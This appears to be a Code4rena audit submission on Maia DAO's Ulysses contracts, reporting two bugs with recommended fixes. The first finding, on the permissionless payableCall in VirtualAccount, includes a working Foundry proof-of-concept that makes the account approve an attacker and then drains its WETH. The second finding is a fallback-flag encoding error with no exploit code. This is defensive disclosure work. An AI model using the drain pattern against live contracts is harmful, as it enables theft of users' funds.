Maia DAO - Ulysses - SpicyMeatball's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85-L112

Vulnerability details

Impact

VirtualAccount contract is used to store user's funds, only owner or authorized router are allowed to transfer tokens from it, this is not the case with the permissionless function payableCall. Attacker can construct a malicious payload and execute it with a VirtualAccount, for example approve max amount of tokens and transferFrom them to his address.

Proof of Concept

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import "./helpers/ImportHelper.sol";
import "forge-std/Test.sol";
import {VirtualAccount, PayableCall} from "src/VirtualAccount.sol";
import "./mocks/WETH9.sol";

contract DummyPort {
    function isRouterApproved(VirtualAccount, address) external pure returns(bool) {
        return false;
    }
}

contract VirtualAccountC4 is Test {
    VirtualAccount target;
    WETH9 weth;
    DummyPort port;

    function setUp() public {
        port = new DummyPort();
        weth = new WETH9();
        target = new VirtualAccount(address(this), address(port));
        weth.deposit{value: 100e18}();
        weth.transfer(address(target), 100e18);
    }

    function testVirtualThief() public {
        address mal = makeAddr("Mal");
        uint256 amount = weth.balanceOf(address(target));
        vm.prank(mal);
        vm.expectRevert();
        target.withdrawERC20(address(weth), amount);
        
        PayableCall[] memory calls = new PayableCall[](1);
        bytes memory payload = abi.encodeWithSignature("approve(address,uint256)", mal, type(uint256).max);
        calls[0] = PayableCall(address(weth), payload, 0);
        vm.startPrank(mal);
        target.payableCall(calls);
        weth.transferFrom(address(target), mal, amount);
        assertEq(weth.balanceOf(mal), amount);
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

Apply requiresApprovedCaller modifier

Assessed type

call/delegatecall

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090

Vulnerability details

Impact

Calling callOutAndBridgeMultiple with a _hasFallbackToggled set to true won't enable the fallback if call will fail on the receiving chain.

Proof of Concept

When calling callOutAndBridgeMultiple a RootBridgeAgent will prepare a settlement payload with _createSettlementmultiple function, in this payload first byte is an operation code, it can be 0x82 if fallback is enabled or 0x02 otherwise. Unfortunately an error in the encoding prevents setting flag to 0x82 if fallback is enabled

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090

making it always be 0x02

As you can see on the receiving end in the BranchBridgeAgent, we expect the correct value of 0x82 to enable the fallback

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L651

Tools Used

Manual review

Recommended Mitigation Steps

Set flag to 0x82 if fallback is toggled just like in _performRetrySettlementCall.

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L894

Assessed type

en/de-code